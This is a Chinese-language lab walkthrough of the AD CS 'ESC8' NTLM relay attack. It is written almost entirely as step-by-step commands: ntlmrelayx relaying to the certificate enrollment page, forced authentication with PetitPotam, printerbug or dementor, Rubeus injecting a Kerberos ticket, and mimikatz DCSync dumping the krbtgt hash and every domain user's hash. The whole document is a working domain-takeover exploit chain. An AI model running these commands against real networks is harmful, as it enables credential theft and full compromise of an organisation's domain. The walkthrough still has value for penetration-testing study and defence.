0x1 简介
AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能,这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击。
注:借图
0x2 环境信息
域控(windows server 2016):192.168.3.129 辅控(windows server 2016):192.168.3.131(AD CS) 域内主机(windows 10):192.168.3.171 攻击机(kali):192.168.3.158
搭建ADCS证书服务:https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247488431&idx=1&sn=6a9b1e785aec5f1d5a8d0ac86a667961&chksm=eaad9392ddda1a842088422e9a0f3a03c04073e52dc432995c917da7ca551ae6bfa114507181&scene=21#wechat_redirect
0x3 漏洞利用
1、查找ADCS证书服务器。 certutil -config - -ping
2、Authorization HTTP头明确允许通过NTLM进行身份验证。 curl dc2.yaoyao.com/certsrv/ -I
3、攻击机器开启本地监听并将证书颁发机构(CA)设置为目标。 python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs python3 ntlmrelayx.py -t http://192.168.3.131/certsrv/certfnsh.asp -smb2support --adcs
4、可以采用如下方式强制认证。 1)printerbug打印机漏洞
https://github.com/dirkjanm/krbrelayx
#格式:
python printerbug.py domain/username:password@<dc ip> <ntlmrelayx listen ip>
2)dementor.py脚本
https://github.com/NotMedic/NetNTLMtoSilverTicket
#格式:
python dementor.py -d domain -u username -p password <ntlmrelayx listen ip> <dc ip>
3)Petitpotam.py脚本
https://github.com/topotam/PetitPotam
#格式:
python Petitpotam.py -d domain -u username -p password <ntlmrelayx listen ip> <dc ip>
这里采用PetitPotam进行强制认证。(实测printerbug在winserver2016未成功。) python3 PetitPotam.py -d yaoyao.com -u shanyi -p ‘Admin12345’ 192.168.3.158 192.168.3.129
5、ntlmrelayx成功获取证书。
6、利用上面获取到的证书,使用Rubeus获取TGT并注入。
#格式:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
#示例:
Rubeus.exe asktgt /user:WIN-3IFUE0D5S8U$ /certificate:xxxxxxxxx /ptt
查看当前导入证书。
7、使用mimikatz即可导出域内任意用户哈希。
#查看kerberos票据
kerberos::list
#导出krbtgt用户的hash
lsadump::dcsync /user:krbtgt /csv
#导出所有用户的hash
mimikatz.exe "lsadump::dcsync /domain:yaoyao.com /all /csv" exit
0x4 参考
https://cloud.tencent.com/developer/article/1873728?from=article.detail.1937718 https://cloud.tencent.com/developer/article/1937718?from=article.detail.1896216
|